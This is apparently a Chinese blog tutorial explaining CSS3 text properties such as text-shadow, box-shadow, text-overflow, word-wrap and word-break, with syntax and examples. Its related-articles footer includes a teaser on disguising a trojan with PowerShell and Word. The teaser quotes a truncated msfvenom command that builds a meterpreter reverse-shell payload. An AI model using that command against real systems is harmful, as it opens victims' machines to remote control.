css3新增属性

  • 边框属性
  • 背景属性
  • 文本属性
  • 颜色属性

文本属性

属性 说明

text-shadow

 为文字添加阴影

box-shadow

 在元素的框架上添加阴影效果

text-overflow

 确定如何向用户发出未显示的溢出内容信号

word-wrap

 允许对长的不可分割的单词进行分割并换行到下一行

word-break

 指定了怎样在单词内断行

1. text-shadow（文字阴影）

text-shadow为文字添加阴影，阴影值之间用逗号隔开，每个阴影值由元素在X和Y方向的偏移量、模糊半径和颜色值组成

语法：

div{

/* offset-x | offset-y | blur-radius | color */

text-shadow: 1px 1px 2px black;

/* color | offset-x | offset-y | blur-radius */

text-shadow: #fc0 1px 0 10px;

/* offset-x | offset-y | color */

text-shadow: 5px 5px #558abb;

/* color | offset-x | offset-y */

text-shadow: white 2px 5px;

/* offset-x | offset-y

/* Use defaults for color and blur-radius */

text-shadow: 5px 10px;

/* Global values */

text-shadow: inherit;

text-shadow: initial;

text-shadow: unset;

}

注意：

  • 阴影相对文字的偏移量必写，颜色和模糊半径可选
  • 当阴影大于一个时要用逗号区别开阴影之间的参数
  • 当所给的阴影大于一个时，阴影应用的顺序为从前到后, 第一个指定的阴影在顶部.
  • 这个属性同时适用于 ::first-line 以及 ::first-letter 伪元素

例：

h1

{

    /*水平阴影，垂直阴影，模糊的距离，以及阴影的颜色*/

    text-shadow: 5px 5px 5px #FF0000;

}

2. box-shadow（盒子阴影）

box-shadow 属性用于在元素的框架上添加阴影效果，可以设置多个阴影效果，并用逗号将他们分隔开

该属性可设置的值包括阴影的X轴偏移量、Y轴偏移量、模糊半径、扩散半径和颜色。

几乎可以在任何元素上使用box-shadow来添加阴影效果。如果元素同时设置了 border-radius 属性 ，那么阴影也会有圆角效果。

语法：

div{

/* x偏移量 | y偏移量 | 阴影颜色 */

box-shadow: 60px -16px teal;

/* x偏移量 | y偏移量 | 阴影模糊半径 | 阴影颜色 */

box-shadow: 10px 5px 5px black;

/* x偏移量 | y偏移量 | 阴影模糊半径 | 阴影扩散半径 | 阴影颜色 */

box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2);

/* 插页(阴影向内) | x偏移量 | y偏移量 | 阴影颜色 */

box-shadow: inset 5em 1em gold;

/* 任意数量的阴影，以逗号分隔 */

box-shadow: 3px 3px red, -1em 0 0.4em olive;

/* 全局关键字 */

box-shadow: inherit;

box-shadow: initial;

box-shadow: unset;

}

在这里，如果 border-radius 属性的值：

  • 两个值：表示x和y的偏移量
  • 三个值：第三个值越大，模糊面积越大，阴影就越大越淡，但不能为负值（模糊度）
  • 四个值：第四个值取正值时，阴影扩大；取负值时，阴影收缩（模糊范围）。默认为0，此时阴影与元素同样大
  • inset 关键字：如果没有指定inset，默认阴影在边框外，即阴影向外扩散；使用 inset 关键字会使得阴影落在盒子内部

例：

<style>

    blockquote {

        padding: 20px;

        box-shadow:

                inset 0 -3em 3em rgba(0,0,0,0.1),

                0 0 0 2px rgb(255,255,255),

                0.3em 0.3em 1em rgba(0,0,0,0.3);

    }

</style>

<body>

    <blockquote><q>You may shoot me with your words,<br/>

        You may cut me with your eyes,<br/>

        You may kill me with your hatefulness,<br/>

        But still, like air, I'll rise.</q>

        <p>&mdash; Maya Angelou</p>

    </blockquote>

</body>

3.text-overflow（文本溢出）

text-overflow 文本溢出属性指定应向用户如何显示溢出内容。它可以被剪切，显示一个省略号（'...'，U + 2026 HORIZONTAL ELLIPSIS）或显示一个自定义字符串。

 注意：

  • 这个属性只对那些在块级元素溢出的内容有效，但是必须要与块级元素内联(inline)方向一致（举个反例：内容在盒子的下方溢出。此时就不会生效）
  • 这个属性并不会强制“溢出”事件的发生

文本可能在以下情况下溢出：当其因为某种原因而无法换行(例子：设置了"white-space:nowrap")，或者一个单词因为太长而不能合理地被安置(fit)

“关于更多text-overflow 属性的使用，在这里我已经做出了详解：点击链接跳转 ”

3.word-wrap（单词换行）

word-wrap 自动换行属性允许您强制文本换行 - 即使这意味着分裂它中间的一个字

注意：

  • word-wrap属性原本属于微软的一个私有属性，在CSS3现在的文本规范草案中已经被重名为overflow-wrap
  • word-wrap现在被当作overflow-wrap的 “别名”。稳定的谷歌 Chrome 和 Opera 浏览器版本支持这种新语法。
p {

    /*表示如果行内没有多余的地方容纳该单词到结尾，则那些正常的不能被分割的单词会被强制分割换行*/

    word-wrap:break-word;

}

4.word-break（单词拆分换行）

word-break 指定了怎样在单词内断行

div{

word-break: normal;

word-break: break-all;

word-break: keep-all;

word-break: break-word; /* deprecated */

}
  • normal ：使用默认的断行规则
  • break-all ：对于non-CJK (CJK 指中文/日文/韩文) 文本，允许在单词内换行。
  • keep-all ：只能在半角空格或连字符处换行

OK，在这里我大概把css3中新增的文本属性介绍完了，有不对的望各位大佬明确指出~~

css3新增文本属性的更多相关文章

  1. CSS3新增文本属性实现图片点击切换效果

    <!doctype html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  2. css3新增的属性有哪些

    徐先森讲web CSS3新增的属性有哪些: CSS 用于控制网页的样式和布局. CSS3 是最新的 CSS 标准. CSS3新增了很多的属性,下面一起来分析一下新增的一些属性: 1.CSS3边框: b ...

  3. CSS3新增的属性有哪些：

    CSS 用于控制网页的样式和布局. CSS3 是最新的 CSS 标准. CSS3新增了很多的属性,下面一起来分析一下新增的一些属性: 1.CSS3边框: border-radius:CSS3圆角边框. ...

  4. css3新增的属性 - 分享

    CSS3新增属性   一.transform变换效果 CSS3 提供了元素变形效果,也叫做变换.它可以将元素实现旋转.缩放和平移的功能. 属性有两个:transform 和 transform-ori ...

  5. CSS3 新增文本样式

    CSS3 对原来的 CSS2 版本中已定义的属性取值进行修补,增加了更多的属性值,来适应复杂环境中文本的呈现. 一.定义文本阴影 可以给文字添加阴影效果了 Shadow 影子 语法: text-sha ...

  6. CSS3新增基础属性总结——20160409（易达客）

    1.box-shadow :h-shadow v-shadow blur spread color inset(outset) h-shadow:必须:水平阴影位置,允许负值. v-shadow:必须 ...

  7. 【CSS3】文本属性

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  8. css3新增的属性

    由于CSS5标准还未完全订下来,所以各种内核的浏览器都有自己的标准,为了不使属性混淆,所以各家在各自标准前加了一个前缀, 如:-moz-       firefox火狐 -ms-         IE ...

  9. Css3 新增的属性以及使用

    Css3基础操作 . Css3? css3事css的最新版本 width. heith.background.border**都是属于css2.1CSS3会保留之前 CSS2.1的内容,只是添加了一些 ...

随机推荐

  1. Swift- 设置 UILabel 内边距

    摘要 拿来即用短时间效率虽然挺高的,但是拿来的东西没有消化一次,就无法得心应手的使用它. 这次的探索思路就是,查询官方文档,设置不同的值测试单个方法中参数的变化,之后测试两个方法的执行顺序,处理的思路 ...

  2. css写法

    id选择器 > 类选择器 > 标签选择器 @charset "utf-8"; charset=utf-8   表示当前文档的字符集是采用utf-8的字符,也就是我们常说 ...

  3. Python网络爬虫——京东商城商品列表

    Python_网络爬虫--京东商城商品列表 最近在拓展自己知识面,想学习一下其他的编程语言,处于多方的考虑最终选择了Python,Python从发布之初就以庞大的用户集群占据了编程的一席之地,pyth ...

  4. Gram-Schmidt图像融合

    遥感图像融合的定义是通过将多光谱低分辨率的图像和高分辨率的全色波段进行融合从而得到信息量更丰富的遥感图像.常用的遥感图像融合方法有Brovey\PCA\Gram-Schmidt方法.其中Gram-Sc ...

  5. MacOS安装和卸载Java

    ​ 安装java 下载地址:https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 设 ...

  6. Powershell配合word伪装木马执行

    环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPOR ...

  7. 将dict.define转化成dict.txt

    在使用捷通智能灵云外呼系统V6.1时.需要大量使用到模式码,也就是正则表达式.而老版本365还是使用场景文件. 当要将老版本改编成新版本的时候,需要需要将dict.define文件中的一行行的词条用& ...

  8. RocketMQ详解（一）原理概览

    专题目录 RocketMQ详解(一)原理概览 RocketMQ详解(二)安装使用详解 RocketMQ详解(三)启动运行原理 RocketMQ详解(四)核心设计原理 RocketMQ详解(五)总结提高 ...

  9. python类、对象

    python类.对象 学习完本篇,你将会深入掌握 什么是类,对象 了解类和对象之间的关系 能独立创建一个People(人类),属性有姓名.性别.年龄.提供一个有参的构造方法,编写一个show方法,输出 ...

  10. IDEA - 2019中文版安装教程

    前言 个人安装备忘录 软件简介 IDEA 全称IntelliJ IDEA,是java语言开发的集成环境,在业界被公认为最好的java开发工具之一,尤其在智能代码助手.代码自动提示.重构.J2EE支持. ...